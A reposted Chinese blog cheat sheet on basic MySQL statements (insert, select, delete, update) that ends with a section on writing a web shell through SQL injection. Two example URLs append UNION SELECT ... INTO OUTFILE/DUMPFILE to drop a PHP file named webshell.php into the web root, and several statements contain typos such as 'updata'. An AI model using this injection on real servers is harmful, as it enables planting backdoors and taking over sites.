Mysql基本使用(增,删,查改,写入shell等)

此文转载自:https://blog.csdn.net/qq_45756971/article/details/110264223#commentBox

1.增添:INSERT INTO [表名] VALUES(’’,’’,…顺序排列的数据);

注:如上语句,表结构中有自动增长的列,也必须为其指定一个值,通常为0
insert into 表名(id,name)
values(0,‘尹当’)–同上

2.查询: SELECT * FROM [表名] WHERE ([条件]);

查询所有的数据:select *from 表名;
带条件的查询:
select from 表名 where 列名=条件值;
Select
from 表名 where 列名 not like(like)
‘字符值’ 分页查询:select *from 表名 limit 每页数量 offset 偏移量;

3.删除:DELETE FROM [表名] WHERE ([条件]);

delete from 表名;
delete from 表名 where id=1;
删数据库:drop database 数据库名;
删除表:drop table 表名;
删除表中的列:alter table 表名 drop column 列名;

4.修改:UPDATE [表名] SET [修改内容如name = ‘Mary’] WHERE [条件];

修改所有:updata 表名 set 列名=‘新的值,非数字加单引号’ ;
带条件的修改:updata 表名 set 列名=‘新的值,非数字加单引号’ where id=6;

5.写入shell:
使用into outfile,使用这个命令必须要有file权限

http://x.x.x.x/x.php?id=1 union select 1,’<?php phpinfo() ?>’ into outfile ‘var/www/html/webshell.php’
http://1.1.1.1/x/x.php?id=1 union select 1,’<?php phpinfo() ?>’ into dumpfile ‘绝对路径/webshell.php’

   

更多内容详见微信公众号:Python测试和开发

Python测试和开发

原文地址:https://www.cnblogs.com/phyger/p/14061118.html